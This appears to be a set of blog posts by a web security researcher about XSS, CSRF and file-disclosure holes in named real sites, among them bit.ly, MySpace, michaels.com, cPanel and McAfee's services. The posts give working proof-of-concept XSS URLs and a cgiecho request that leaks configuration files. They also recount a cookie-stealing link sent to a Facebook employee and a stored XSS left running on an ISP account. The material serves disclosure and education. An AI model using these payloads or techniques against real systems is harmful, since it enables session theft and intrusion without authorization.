Perspective on Pentagon "Pwnage"

Last night, Daniel Kennedy posted on his blog about a vulnerability in the Pentagon's web site. The vulnerability that was identified used XSS to steal session cookies. The story bothered me for a few reasons. Partially because it's usually a great blog, and the wording of the post made the vulnerability sound worse than it was. Daniel has since changed the wording, and I'm perfectly okay with that.

On to the exploit. My first reaction was that it isn't news. To begin with, the vulnerability is an old, known one- posted to XSSed last April. The site with the vulnerability contains no sensitive information, and unless you want to force somebody to book a tour of the Pentagon, really doesn't appear that useful at first brush. On top of this, there is no shortage of XSS vulnerabilities in much more sensitive .gov and .mil sites. The biggest story here really is that this vulnerability has been known for so long, and still has not been patched. Sadly, lack of fixes for every found XSS vulnerabilty isn't exactly a rare thing either.

I truly believe that XSS is one of the biggest threats on the web today. I'm not one to trivialize this kind of thing, but this one is small. As far as XSS holes go, this is about as trivial as can be. That said, this is still very dangerous.

Remember my cross-subdomain cookie attacks paper from last month? This is a perfect example of how widespread these issues are. The military has a hierarchical structure. It makes sense to give military websites a hierarchical structure. In this case, the domain with the vulnerability is pentagon.afis.osd.mil. Each of these subdomains means something- .mil for military, .osd for "Office of the Secretary of Defense," .afis. for "Armed Forces Information Services", and pentagon stands for, well, the Pentagon. Each department can have its own website, and its sub-departments have subdomains.

This is exactly how the web was designed. Academic Institutions' (.edu) websites also use this model heavily. It makes sense, particularly given the military and academic background of the web. Unfortunately, due to the cross-subdomain leakage of cookies described in my previous paper, any osd.mil website (there are hundreds, if not thousands of them, in various departments, serving various functions, and with various levels of sensitive data, user interaction, and exploitability) can be attacked due to this single, seemingly useless XSS hole.

As noted, finding such an XSS hole is rarely difficult. In less than half an hour, I was able to find half a dozen such domains vulnerable to XSS, some vulnerable to much worse. Most of those websites are simple informational websites, but there are a few with user logins, adminstrative sections, and sensitive data. This is where things get really scary.

Putting XSS in Perspective

After all that doom and gloom, I want to put this in perspective. As bad as an XSS hole is, it still requires somebody with the right level of access to click on it. Not necessarily hard, but definitely harder than a more direct exploit such as, for example, SQL injection. If somebody documents an XSS hole, they have not "hacked" that server. The Pentagon's website has not been "pwned." XSS is, and should be considered, a critical issue, but, at risk of appearing to agree with one of the dumbest quotes in the history of web security, it isn't generally used to hack into servers. Usually, that's not the point anyways- the attackers are after information, not a root shell.

Keep in mind, this is not a checklist of things you can and can't do with XSS. Don't use this in a risk assessment. Don't even quote me on it. This is just an attempt to put a realistic perspective around stories like the one mentioned above. I've seen too many headlines saying "$SITE Is Serving Malware!" or "$COMPANY Is Bad At Security" when there is no evidence of that happening. Web security is in a pretty dismal state right now, but spreading ungrounded FUD is simply not useful.

A single XSS vulnerability doesn't mean a company is bad at security. Frankly, a non-trivial application that is completely free of vulnerabilities is like a unicorn: It might exist, people claim to have seen them, but I have my doubts. I'd love to see organizations be more careful here, but in my experience, XSS vulnerabilities somewhere on a network is a virtual certainty. Security-wise, the key issue is what controls are in place to limit data leakage. News-wise, the key issue is how the organization responds to a vulnerability report.

XSS attacks are, by themselves, not actually very useful. However, they are attacks that stack beatifully with CSRF, credential theft, and clickjacking. They can also be leveraged nicely against vulnerable browsers and plugins to attack the client himself. It's worth noting though- unless you're stealing sensitive information directly from the page you're embedding the exploit in, it takes more than just XSS to do something malicious.

An XSS vulnerability in an application with sensitive data or access to sensitive resources (such as an internal network) is a serious matter indeed. A single targeted attack can compromise the data or allow an attacker to use the increased access of that user's browser as a jumping-off point for further attacks.

If that application is also popular, it is even more serious. The attack doesn't need to be targeted: it can be used in drive-by attacks or worms to hit a large number of users. As common as it is, this is in my opinion a worst-case scenario for XSS.

An XSS vulnerability can be used to anonymize attacks, but from what I've seen, attackers rarely bother. Using it this way generally just adds complexity without a lot of added benefit.

With cross-subdomain cookie attacks, an XSS vulnerability in one subdomain may attack another subdomain. Domains with many applications on their namespace (such as osd.mil) probably have other, more sensitive applications. Check before you disregard such a vulnerability on a non-sensitive application. They also may not. Check before you get too excited.

XSS works remarkably well for phishing. Currently, it's not particularly common to see it used this way, but it's happened before, and it will happen a lot more in the future.

There are many more uses for XSS, and there are just as many controls (ineffective as they are) for limiting XSS. The actual risks presented by an XSS vulnerability are extremely dependent on environment- the application, the server, other servers within the namespace, the web browsers being exploited, and security controls that are in place. Making vague statements about XSS vulnerabilities isn't particularly useful, and in most cases borders on FUD.

XSS Kiosk Busting

You know those kiosks that you find in bookstores for looking up inventory? The idea of XSS-ing one occured to me a few years ago, but I never really got a chance to play with any and forgot about it until recently. I was at Sur La Table last weekend, trying to figure out which kitchen supplies I haven't bought yet (turns out, it was more knives), and noticed the wedding/gift registry...



Mostly, I just think this is funny, but there are potential malicious applications for this kind of thing. For example, Wal-mart's job applications are done through a web application running on a kiosk in the customer service area. If you can inject javascript into that application, you could rewrite the whole thing to log personal information from applicants.

Presuming that those computers are connected to the internet (and I expect they are), it would only require that you inject a single <script> tag, and you could do all the rest with BeEF. Since it's a kiosk, nobody is able to look at the address bar or status bar and see that anything is wrong.

TweetMyPC: What I've learned From Your Screenshots

I've been watching the Twitter traffic pertaining to TweetMyPC. So far, I've amassed a decent collection of users' screenshots, all of which reveal private data.

First off, I have already confirmed my previous statement:

Your Twitter feed is public. Even if you make it private, recent incidents with Twitter should be enough to make you consider it public.

When TweetMyPC posts a screenshot, it uses Twitpic to do so. Though the TweetMyPC documentation encourages users to make the "command" Twitter accounts private, it makes no mention of TwitPic, which is a completely different service, and does not reflect Twitter's privacy settings. This being the case, locating command Twitter accounts (even the private ones) is a simple matter of searching through Twitpic's archives for the string "TweetMyPC -> Screenshot".

While Twitpic doesn't have a search feature (they've been promising one for some time), they do have a public feed, and there are third party (fourth party, I suppose) sites that allow you to do just that.

The next thing I learned is also a TwitPic issue (a bug, perhaps). You won't see this one on the Month of Twitter Bugs, but it turns out that deleted photos on TwitPic aren't actually deleted. An example: TwitPic claims that the image with the ID 9s4gx no longer exists. However, if you go directly to the full-sized image, you'll see that you can download the image- a screenshot of that user's Windows registry.

It's worth noting that this user has indeed protected his updates on Twitter... not that it did a lot of good.

Now let's get to the screenshots themselves.

Even the tiniest bit of information can be extremely useful to an attacker. It all depends on his motivation, his expertise, and how much free time he has. As none of this is predictable, I recommend that you use extreme caution in posting screenshots online.

This screenshot displays the contents of the user's Gmail account, his Gmail address, and the IP address that he is logged into Gmail from. From his bookmarks toolbar, we can guess what websites he visits regularly, and from the browser's status bar, we know that he is using Greasemonkey. From the Windows XP taskbar, we can see what software he is currently running, including antivirus and instant messaging. We know that he's not using NoScript, and that he appears to be a relatively savvy computer user.

I think we've got enough info to own this computer. Let's move on.

This guy is clearly logged into his investment management portal. Combining the info in this screenshot with some of the other information revealed in that user's Twitter account, and noting that there's an XSS hole on the investment site, I'm betting I could XSS him out of his stock portfolio.

Want more? You just have to look.

Desktop shortcuts, NoScript settings, browser history, Yahoo mailboxes, network and firewall settings, not to mention everyday activity, from piracy to IM conversations to grocery lists, are all freely available.

Parsing Quirk Causes bit.ly XSS

Fun fact: When your browser parses a document, it locates <script> and </script> tags before evaluating the javascript within. While this appears to make sense, it creates an interesting quirk- injected </script> tags, even within quoted javascript strings, will force it to end a block of javascript code and throw a parse error. It will also allow you to start a new block of unquoted (and therefore, executed) code.

I put together a basic demonstration of this quirk a while ago and bounced it off a few people. As it turns out, this is known behavior, and was even used in one of the first examples on RSnake's XSS Cheat Sheet.

Arguably, this is not really even a bug. It stems from the order in which the document is parsed- structure (tags) is handled before parsing javascript content. I looked into the various standards that apply and didn't see anything dictating how this behavior should be handled, but I confess I didn't look that hard.

At any rate, the reason I'm writing about it today is because I found an XSS hole in the popular URL shortener, bit.ly. This can be used to compromise browsing history, tamper with a user's bit.ly settings, and even abuse Twitter accounts (they have a Twitter API).

Due to the nature of the exploit the link only works once, so I can't send you directly there. However, if you take the following URL and make "CHANGEME" a unique string, it should work.

http://bit.ly/?url=http%3A%2F%2Fskeptikal.org&keyword=%22%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3ECHANGEME

While it's generally known that putting user-supplied input into executable code is a bad idea, many developers still do it, especially with javascript. Don't assume that just because the input is wrapped in quotes, it will not be XSS-able.

GuestCentric Systems- Not Really That Secure.

I ran across a press release from GuestCentric Systems dated April 20, in which they announced their partnership with McAfee to put the McAfee Secure logo on all their client's pages.

GuestCentric offers a booking management service to independent hotels, and from the looks of things, it's actually a pretty cool app. They appear to be awfully proud of that system, and the fact that it was certified as secure. Now we all know that the McAfee Secure certificaton has serious deficiencies, but that horse doesn't appear to be dead yet, so I'll keep flogging.

The video on GuestCentric's press release essentially mimics the hype from McAfee- put the logo on your website, watch your sales jump 14%. It says nothing about the actual state of security in the app, and is purely marketing fluff. This always irritates me, but it doesn't surprise me. Of course, it also should come as no surprise that GuestCentric has XSS holes on their website, or that the booking application itself contains XSS holes as well. It also has CSRF holes and more.

What is interesting to me in this instance is that the GuestCentric app is almost completely AJAX. While McAfee secure is terrible at finding XSS and CSRF holes in the first place, it certainly does not parse AJAX and does not intelligently fuzz for these vulnerabilities. Short of detecting out of date software on the server, scanning this application with McAfee Secure is particularly useless.

The really amazing thing to me is that McAfee values their brand so little. Their name and logo are put on so many websites that they have so little to do with, nobody actually trusts (or in most cases, even sees) their certification.

McAfee keeps citing their 14% number. While I have doubts about the validity of that study (and real data has never been released), I have to wonder whether those numbers would be the same today. Something tells me that the answer is a resounding "no."

Strongwebmail Contest Won

StrongWebMail announced yesterday that we officially won their $10k contest. Surprisingly, they don't appear to have learned from this last round of bad publicity and intend to launch another contest- once they've patched some holes and tightened the rules.

Assuming that the new rules aren't ridiculously restrictive, I'll probably participate in the next round- I've still got a few tricks up my sleeve. However, I must say I feel a bit dirty for feeding this publicity machine. These hacking contests, frankly, are a joke. If nobody gets in, marketing will hail their product as unbreakable. If somebody does get in, they call foul for breaking the rules. While some structure is necessary for any organized contest, the whole point of hacking is finding ways to bend rules and manipulate the system.

StrongWebMail's press release said "It is important to note that the frontend protection offered by StrongWebmail.com was not compromised. In fact, Lance and his team were forced to find a way around the phone authentication." That's not entirely true- we simply took the easiest route. With the webmail app riddled with holes, we saw no point in bothering with the front end. Considering it took us less than a minute from registration to find the hole we used to compromise the app, can you blame us?

I understand that StrongWebMail was created to demonstrate Telesign's 2-factor authentication system, but this is a perfect demonstration that security needs to be addressed holistically. When you claim to have "The Most Secure Email Accounts on the Planet", nobody cares that it's the third party app that is vulnerable- they care about the fact that the email accounts are indeed vulnerable.

The exploit that we used to break in involved an XSS hole in the email preview feature. We sent a message to the CEO's email account, and when viewed, his web browser made several AJAX requests to the server, slurping the contents of his inbox and then depositing it on a logging script under our control. Lance did an interview in which he discussed the details of the exploit further, and I recommend you read that for more details.

Finally, I want to give another big thanks to Lance James and Aviv Raff for working on this with me. Not only was it very fun, but it made some very good points (that will likely be forgotten soon) about web application security: Escape outputs, be careful with what third-party software you use, and don't taunt the hackers.

Risky.biz Podcast Interview

I just finished an interview with Patrick at Risky.biz for a podcast about my McAfee CSRF and the other PCI ASV vulnerabilities. If you're into this kind of thing (and the traffic spikes I've seen this week indicate you probably are), go give it a listen.

http://risky.biz/netcasts/rb2/rb2-mcafee-bug-finder-mike-bailey-speaks-riskybiz

Most PCI Companies Are Insecure

The McAfee XSS got slashdotted. I think that all this attention is a good thing, putting a spotlight on XSS issues, but I have to say, I'm surprised by it. It's not like XSS attacks are news anymore, and it's not as if this is the first McAfee XSS to be published. Last night, I found an XSS hole in the verification script for their SiteAdvisor service (for extra irony).



But really, focusing on these XSS holes is missing the point. I never thought I'd say this, but in my experience, McAfee is one of the better ASVs out there. This isn't a compliment to them, it's an insult to the entire industry. Here are a few examples of other ASVs.

Until last week, atsec.com was vulnerable to XSS.

Until last week, secureconnect.com was vulnerable to XSS.

Until last week, ncircle.com was still vulnerable to XSS.

sungard.com is still vulnerable to XSS.

controlcase.com is still vulnerable to XSS.

support.foundstone.com (McAfee's premium brand) is still vulnerable to Cross-site Framing.

Up until a few weeks ago, there were also open redirects on the websites of Qualys, SecurityMetrics, and others. Is it any wonder I'm not at all shocked at a few XSS holes in McAfee's web site?

Some of these companies should be commended for handling the vulnerabilities correctly- nCircle, SecureConnect, Qualys, and even McAfee responded admirably- sometimes the issue was fixed within minutes of my vulnerability report. Others- Foundstone, ControlCase, and Sungard, belong in the doghouse- none of them even responded.

However, the glaring fact is that the entire PCI scanning industry is, frankly, bad at scanning for vulnerabilities. Most of these websites use their own scanning service on their own websites. While I still hold that in-depth audits for these sites should have taken place long ago, the scanners should have caught the problems as well. Some of these domains contain the portals for customers to manage their PCI compliance scans.

People, let's take the focus off of McAfee, and put it where it belongs. The PCI scanning industry as a whole is a joke, and across the board, these Web Security companies are themselves bad at security.

Edit 5-6-2009: nCircle was one of the fast-responders.
I mistakenly listed them as one of the "doghouse" ASVs.


PHP.net XSS: Mass Carnage with Mirrors

I found a minor hole in php.net the other day. It's a small reflected XSS hole that uses URI parameters. At first, I thought it wasn't a huge deal, and wrote up a vuln report.

Then it occurred to me to look deeper, and I found that there are hundreds of mirrors of the php.net site, spread across the internet in what turned out to be some awfully interesting locations. Many of the domains it is mirrored on are web hosting companies, and most of those have some type of customer portal on the same domain. In addition to these, there are some .gov and .edu sites of interest, and the really interesting one- Facebook.



While Facebook's session cookies are set as HttpOnly and not accessible to javascript, this is still a serious issue. First off, not all browsers support HttpOnly cookies. Second, HttpOnly implementations aren't perfect. Finally, even the non-HttpOnly cookies contain valuable data which can be leaked through the subdomain. I wrote up a proof of concept that will allow me to de-anonymize users by reading their facebook UID off of php.mirror.facebook.com.

In fact, I sent a vulnerability report to Facebook as well, and sent them the wrong link- normally I'd just pop an alert box as a proof-of-concept, but I accidentally sent the link with the weaponized cookie-stealer in it. Much to my surprise, I checked my logs this morning and found that one of Facebook's product managers had clicked the link. I suppose there' a lesson in there about not trusting the link that some random hacker sends you, even if they seem helpful.



The php.net people responded quickly and fixed this vulnerability, and the fix is slowly propagating to the mirrors, but I have no doubt that more exist. This got me thinking about the possibility of writing a cross-domain XSS worm. It turns out, it's completely possible, though in this case the scope is a bit limited.

Lessons learned: Be careful with where you get your content, and what you put on your subdomains- mirror.victim.com can nearly as useful to an attacker as www.victim.com.

Cgiecho XSS and Information Disclosure

cgiecho is a test cgi script, usually packaged with a formmailer called cgiemail. It's found in the cgi-bin directory of a lot of sites, due to it being a default script in many cPanel installations. The script was written by somebody at MIT some time ago, and so is common on high-profile sites such as mit.edu and
xmission.com.

The script contains XSS and path disclosure holes, one example of which can found on mit.edu, but that's not really the emphasis of this report.

Basically, cgiemail allows a user to specify a template file from anywhere within the web root. When data is posted to it, substitutions are made based on the parameters posted and the content of the template file.

For example, if a template file "/templates/mail.txt" contains the following:

Hello [firstname] [lastname]!

When the parameters firstname=dr&lastname=evil are submitted to http://victim.com/cgi-bin/cgiecho/templates/mail.txt, the returned page will make those substitutions.

Many web scripting languages dereference array values using the [] characters, so the cgiecho script can be forced to return the contents of sensitive files if the index of any one array is known.

If a configuration file is located at /includes/config.php and contains the following:

define('HOME', $_SERVER['DOCUMENT_ROOT']);
define('USERNAME', 'victim');
define('PASSWORD', 'secret');

An attacker can post "%27DOCUMENT_ROOT%27=bork" to http://victim.com/cgi-bin/cgiecho/includes/config.php and read the contents of that file.

define('HOME', $_SERVER[bork]);
define('USERNAME', 'victim');
define('PASSWORD', 'secret');

For testing purposes, a form to generate correct attack parameters is located here.

cPanel Root CSRF: Round 3

Readers who have been with me from the beginning (as well as the guy that read my entire site yesterday) will recall that last fall, I posted several XSS and CSRF vulnerabilities with the cPanel WHM interface. Essentially, these vulnerabilities would allow me, as an attacker, to root a cPanel server simply by having an authenticated administrator browse my website. At the time, the vendor did not respond to my vulnerability reports, and the problems went unfixed until I resubmitted them to Secunia in February.

cPanel finally took action, fixing the XSS hole that I had found. However, the CSRF issues (which were much more critical in this case) were ignored. Their response to these issues was that CSRF can be prevented using the "XSRF Protection" feature in the WHM administration interface. I double checked and sure enough, there was such a feature. It was obscure, disabled by default, nowhere to be found on the cPanel documentation pages and FAQ (which ironically has its own XSS holes), and had verbage next to it that would discourage most administrators from enabling the feature. Essentially, cPanel treats these critical CSRF holes as a feature:



I didn't have all that much time to look into it until today, when I decided to actually test this feature. Digging into the code, the first thing I noticed was that all the "XSRF Protection" does is check the referrer that your browser sent- if it doesn't match one of the known domains for the server, the requested action is not allowed to take place.

The first way around this was obvious. If your browser does not send any referrer, the XSRF protection does not kick in. Referrers can be suppressed several ways, but the first one that comes to mind for me is SSL. Many browsers will not send referrers when coming from an SSL page. This morning, I wrote a proof of concept that bounces the user off an SSL-encrypted open redirect (there's plenty of them out there). A few tests with the latest version of cPanel confirmed that Firefox 3 does not send a referrer, and the XSRF Protection feature had no effect.

Assuming that the browser did send referrers, there are still plenty of ways to bypass it. The next thing that comes to mind is simply using a domain on the whitelist to execute the attack. With a few hundred users on most cPanel servers, finding an open redirect, file upload, XSS, or cross-site framing hole is usually trivial. If you combine that with the mod_userdir attacks I posted last week, you can increase the effectiveness of this attack even further.

The next idea I had was to add my domain to the list of allowed domains. It requires access to a local account on the server (legitimately or not), but any user can add extra domains and subdomains to his site- subdomains which are considered "allowed" by cPanel. This provides yet another effective way to avoid the XSRF protection feature.

The back end code for the cPanel interface is an absolute mess- it's amazing that it works as well as it does. Not just the WHM interface, but the entire package is vulnerable to CSRF and XSS attacks at nearly every level. This software manages hundreds of thousands of websites.

This is bad.

But preventing CSRF would break your third party billing software, so we should probably allow it by default. That's a great idea.

Edit: cPanel did, in fact, mention the XSRF Protection feature on their blog about a year ago. This post calls the CSRF issues "security issues, which range in severity from trivial to medium-critical"

Opening Doors With XSS

This is the first in a series of posts on "cool things I broke with web exploits."

A few weeks ago, I demoed an access control system from ADT. Being the bad person that I am, I was less interested in the system's features than I was in the ways that it could be broken, and as soon as I heard it had a web-based administration interface, I knew I was going to have fun.

Like any good hacker, I paid careful attention through the demonstration, probing for more information about the system ("How many customers use this system? Banks too, huh? Which banks? Do they all use the same admin interface?"), slyly jotting down the username and password from the post it note on the demo kit, and making careful note of the admin login's URL. After the presentation, I did a bit more online research, and came up with the following-

The system in question (Brivo ACS) is widely installed by ADT, but was designed by a company named Brivo Systems, LLC. Brivo runs the servers and maintains the application. ADT, as well as a wide range of other companies, function as dealers, resellers, and installers. Roughly 25,000 doors are controlled by one server, with users ranging from financial institutions to IT datacenters. The system runs the logic behind HID and other token-based authentication mechanisms- You scan your card, the server decides whether you are allowed in, logs the request, and opens the door.

So I set out to find an exploit. It being a web app, I was in my comfort zone. Probing for input validation holes, I was pretty impressed with the thoroughness of the filtering.... until I found an error page.

I love error pages, they tell you all kinds of useful information, including account data, a stack trace, and internal application variables. For bonus points, they print it all out without any escaping. Once I found the error page, I was just one request away from a working XSS exploit:



The consequences of this are huge- while it may not be a simple exploit to pull off, this gives an attacker the ability to steal sessions and manipulate a building administrator's browser. An attacker can easily add his own keycard to the list and walk around secured areas uninhibited. That's a pretty Big Deal.

So, for all those people that think XSS is a minor issue, I present this as Exhibit A.

On the plus side, Brivo's response to my emailed vulnerability report was exemplary. Almost immediately, I had a call to let me know they were looking into it. The next day, a developer spoke with me about it, and by the end of the week, a patch was being tested. I have to give them credit- they responded quickly and professionally. They're currently doing a full review of their systems for other configuration issues (like the error page) and input validation holes. They even invited me to poke around some more once the review process is complete.

Lessons learned- Web-based administration is tricky stuff to do right, XSS does very cool things, and I like companies that listen.

PCI Hearing Recap

Maybe I expected too much from the congressional hearing on PCI-DSS. While the stated intent was to discuss whether it does any good, it pretty much boiled down to the merchants, the PCI council, and the DoJ saying "It's not our fault, it's your fault" to each other.

You can still view the video online. Despite the overall uselessness of the hearing, a few interesting points were made:

Companies need to understand that PCI compliance is a bare minimum for security. It takes an ongoing security program, with periodic audits and evaluations, to actually improve an organization's security. Simply passing the scanner test does not make you compliant.

Rep. Bennie Thomspon noted that the PCI system isn't working, and put forth the idea that the government should take over from private industry. I hope it doesn't come to this.

Everybody seems to agree that the standards aren't really where we are lacking, but everybody disagrees on where the problem is. The PCI people said it is because they are not followed by the vendors, and that there has never been a breach on a PCI compliant organization. If that was the goal, we should just reduce the standards down to "Don't have any holes" The goal is to reduce data breaches, not reduce the number of compliant companies.

The merchants, in turn, said that it is too hard to be compliant- they noted that the auditing and the techology to maintain compliance is expensive, and that the payment card industry is far behind in the technology. While true, the fact remains that most companies have dismal security practices, and that fixing this is their problem.

Michael Jones, the CIO from Michaels Stores, Inc. was probably the only one making coherent statements. He testified that the standards are too complex and arcane, designed to protect the Payment Card Industry rather than the merchants or consumers, and impossible to implement fully in any case.

This may be proving his point about the difficulty of staying compliant, but Mr. Jones testified that he was "proud to report that Michaels has never had evidence of a breach of consumer data". If this is true (and this is a big if), it's only because nobody has tried. An XSS hole in michaels.com was reported to XSSed.com almost 2 years ago, and still hasn't been patched. In all that time, they have not been PCI compliant. I am betting they would disagree with this point.

I went to michaels.com and noted that their "Find A Store" feature, which is outsourced to a third party, contains XSS holes

Finally, the money shot, it took me less than 60 seconds of searching to find the following hole in forums.michaels.com, which is a 2-for-one: XSS, and SQL injection (with error reporting and script path disclosure thrown in for free):



I have to wonder who has been doing their PCI auditing.

Exploit URLS:

http://direct.where2getit.com/cwc/apps/w2gi.php?template=search%22%3E%3Cscript%3Ealert(1337)%3C/script%3E&client=michaels

http://www.michaels.com/art/online/search?search=yes&type=0&searchWords=%3C/script%3E%3Cscript%3Ealert(/xss/
)%3C/script%3E

http://forums.michaels.com/community/search.php?Cat=asdf%22%3E%3Cscript%3Ealert(1337)%3C/script%3E


Myspace XSS

It was kind of a trend for a while to post Myspace XSS holes, but that kind of died out. I had a bit of time this morning and decided to find one. Given that these days, MySpace has a huge amount of partnerships with other companies, all creating their own apps, it didn't take long.



The XSS URL is:
http://ksolo.myspace.com/actions/showSongProfile.do?rid=1135511a&sid=207484&uid=);" style="font-size:25em" onmouseover="alert(1337

cPanel, mod_userdir, and Shared Hosting

I know I've made my views on shared hosting clear in the past, but I keep coming up with more reasons to not use it.

To begin with, let me start by saying that yes, I know that mod_userdir isn't recommended by its creators, cPanel, or Apache for secure applications. I may be grabbing at low-hanging fruit here, but that doesn't change the fact that its use is hugely popular for mass-hosted webservers. It is a convenient way to get a lot of sites onto a server, to get valid SSL certificates for each, and for accessing/managing content on all of them.

With that out of the way...

For those that aren't in the know, mod_userdir is an Apache module that allows you to create a separate website for each user on a server. These sites can all be accessed by going to http://servername.com/~username. The module is installed on most Apache setups by default, but isn't necessarily always enabled. Most mass-hosted cPanel servers make extensive use of it for a variety of reasons.

I should note that in the following examples, 'victim' is the username and 'victim.com' the domain of the targeted web site. 'attacker' and 'attacker.com', respectively, are used to compromise victim, but do not have to be run by the attacker- they can simply be accounts with poor log management, PHP or XSS holes, depending on the exploit. With hundreds of sites on a server, finding such a site is usually trivial.

cPanel's default Apache configuration has a handful of flaws in it that make mod_userdir suprisingly useful to the wily attacker. To begin with, the attacker can attack one site, but have the logs deposited in another's log directory. To do this, hit the server through the domain of the site that you want to logs to show up on, but use the username of the target site:

http://attacker.com/~victim/admin.php

With this url format, we can scan, probe, and bruteforce logins without the target site hearing a peep from his apache logs. Even if he does suspect foul play, he will have a hard time getting the logs, as (theoretically, at least) both the server's administrator and the attacker's site will be rather resistant to turning over their own site's logs without a court order.

If you can't find a decent user account on the server, you can always use the server's IP address instead of a domain and run the scripts as apache rather than attacker. This way, only root will be able to access the logs, and surprisingly few administrators ever review the global apache logs.

The one caveat here is that cPanel does allow you to set up a "default" account which may end up catching the logs, but if you go directly to the server's address and see something like this, you have a winner.

Due to poor default Apache configuration, directory listings on /cgi-bin are enabled when you access it in similar fashion:

http://victim.com/~victim/cgi-bin

This alone has been enough for me to crack accounts in past penetration tests. While it has been fixed recently, past versions of cPanel would also print out cgi scripts' contents rather than executing them. Still, included files without a .cgi, .pl, .plx, .ppl or .perl extension can be easily located and downloaded with this method.

By going to http://attacker.com/~victim, we can execute PHP scripts from the user "victim", with the server thinking that we're "attacker". This can be handy for a few things. First off, printing out $_SERVER['DOCUMENT_ROOT'] tells me that I'm running in /usr/home/attacker/. By contrast, the server knows that $_SCRIPT['FILENAME'] is /usr/home/victim/public_html/script.php. The script is executed with victim's privileges, so you can't read or write anything that the user doesn't normally have access to, but if victim is including files or locating resources based on the $_SERVER['DOCUMENT_ROOT'] variable, we can manipulate it, forcing the application to load your own PHP code.

Let's say you don't even want to bother with PHP. If you can find a single XSS hole on any user's site on the server (and you can, I promise), you just have to get people to hit http://victim.com/~attacker/XSSedPage.php.

Let me repeat that- You can XSS every domain on an entire server. Many of these servers contain hundreds of users. In cases where an entire server is owned by one web development company, that server's php applications are usually homogenous. The implications of this are huge. While many are certified as such, no site on a cPanel server should be considered PCI compliant. Many people downplay the importance of XSS exploits, because they have to be individually found and have custom exploit code written. With mod_userdir and a bit of fancy coding, an attacker can compromise hundreds of accounts, all performing hundreds of ecommerce transactions per day.

That's just good economics.

Qwest XSS

Here's a fun story about XSS and why we should take it seriously.

Due to the location of my residence and the ineptness of my HOA, the buildings around me get fiber optic, but I can't. So I use Qwest DSL for my home internet access. While I'm not a huge fan of the company, they generally tend to get things done and not cause me too much grief. There's a lot I don't like, but not enough to quit using their service.

About a year ago, I was paying my bills and visited the "My Profile" page. Out of curiosity, I stuck a few quotes and HTML tags into a few fields and much to my surprise (not really), found some permanent XSS holes. While I don't like seeing it, this alone isn't really news (as evidenced by the recent string of holes we've been finding on bank and credit company websites). I left one field set to pop up an alert box every time I log in and mostly forgot about it.



A few months later there was an internet outage. The Tech Support call was a whole 'nother adventure (what "scheduled router maintenance" results in a 30+ hour outage? There's something they weren't telling me), but the interesting part was when the rep brought up my account information. She sounded confused on the phone, said something like "what's this? This is weird..." and after a few loud clicks, seemed to get back on track and finish the call. It wasn't until after I hung up that I realized what had happened- my XSS has executed in the context of a Tech Support rep, who presumably has access to other accounts, network information, and other goodies...

I never did anything with it, but did mention it to a few of Qwest's IT people I met a few months later. They didn't seem too concerned. I then looked through the Qwest website a bit more and found a few more XSS holes- these ones in the public side. I reported them, posted them on XSSed, and forgot about them. They never did get fixed.

While finding security holes in the financial sector seems to be all the rage these days, I'm going to focus for the next while on some public utilities. Frankly, they scare me more- they're often government owned and operated, so have less market-driven controls in place. Most of them know your Social Security number, your credit card number, your checking account information, and they directly affect your everyday life.

Wouldn't it be scary if your power company used outdated perl scripts to handle billing and account management? Mine does.

More McAfee Snake Oil

The McAfee Secure certification is useless.

Over at holisticinfosec.org, Russ McRee has been covering this in depth, but I've had the fortune to know the inside story.

Russ has been making snake oil vendors' deficiencies public for some time. A few weeks before Black Hat, he and I were talking about this, and he showed me a handful of "McAfee Secure" sites. All of them had XSS holes, and many had much worse- SQL injection and other serious issues. Over the next few weeks, we traded more vulnerabilities as we found them, and he amassed a pretty impressive list of weak, but certified secure sites. To top all of this off, we found XSS holes on McAfee's own domain.

We also got our hands on a PCAP dump of one of their scans, which revealed quite a bit of insight into the scanning process. We were able to prove that they do not revoke PCI compliance or McAfee Secure certifications for XSS, though the engine does indeed fuzz for (and occasionally even find) them.

While they were being awarded their Pwnie, Russ put together a paper detailing these findings. He sent the paper to McAfee before publishing, in order to give them a chance to address the issues before they were made public. They surprised us both by responding positively. Some of McAfee's top people spoke with Russ in person a few weeks later, resulting in him publishing this blog post.

That was some time ago, but we still haven't seen any progress. A published standard for what exactly "McAfee Secure" means was promised after 2-3 weeks, and we're now pushing five. The information that we have isn't encouraging- it appears that McAfee Secure will have a different set of standards for enterprise websites and the smaller "Ma and Pa" shops. The latter will not be required to fix XSS issues and the former will not have to do so until an arbitrary time period has expired. What this means is that, to a user looking for evidence that a site can be trusted, the "McAfee Secure" badge on a website will mean exactly what it does now: Absolutely nothing.

I suppose that anybody can offer their own meaningless certifications (and some people have), but as Rafal noted yesterday, calling these sites "McAfee Secure", "Hacker Safe" or anything of the sort is in poor taste at best- fraudulent on the other end of the spectrum.

This brings us to today.

It appears that McAfee intendes to leverage their brand recognition and captalize on the trust of the ill-informed. They have a new service advertised on parts of their website. Found at secureshopping.mcafee.com, it is basically a meta-search engine which will allow one to "shop with confidence at McAfee SECURE certified merchants", according to the text on the site. This actually doesn't strike me as a bad idea, provided the certification is worth something. Considering the certification isn't, the whole thing is rather laughable.

I first stumbled across this site just before Black Hat. The app was probably not intended to be public then, but I immediately (accidentally, actually) discovered an XSS hole in it (this was one of the holes on McAfee's domain mentioned above). While that hole has since been fixed, the situation really isn't any better now.

To begin with, the application doesn't use transport-layer encryption, and is therefore vulnerable to sniffing, tampering, and all the man-in-the-middle attacks that we already know and love. But who bothers with SSL these days?

The shopping application itself seems to be based on the same code as that of become.com. Actually, they appear to have partnered for this service, because when you click a link from McAfee's site to a particular product, you are given a 302 redirect to partner.become.com, then to stat.dealtime.com (whoever that is). From there you are 302-ed anywhere from one to three more times before landing on the requested product page, provided by a McAfee Secure merchant.

In theory, at least.

For the sake of breaking things, let's build a link that will take us through the McAfee Secure gateway to an uncertified website. We'll go to www.become.com, find a product, then deconstruct the link and pass its unique identifier to McAfee shopping center (which, being based on the same code, uses the same format for its links). Lo and behold, the following link will take you directly to the product on Amazon.com- which according to McAfee Secure, is not McAfee Secure.

Next, let's take a look at the app's session ID generation. Admittedly, sessions don't appear to be used for anything in the site (except maybe tracking user activity), but I have to assume that session functionality was added for some reason, and it nicely demonstrates their own lack of understanding of web application security. Can you find the pattern?

1223516988361-0-9IDB
1223516989602-0-gnpY
1223516990254-0-SZPR
1223516990913-0-F9jC

That's right folks, they're using timestamps as session IDs. Now, I've seen this practice used by banks, mortgage companies, and ecommerce sites, but I never expected to see such poor practices on the website of the "world's largest dedicated security technology company" (their boast, not mine).

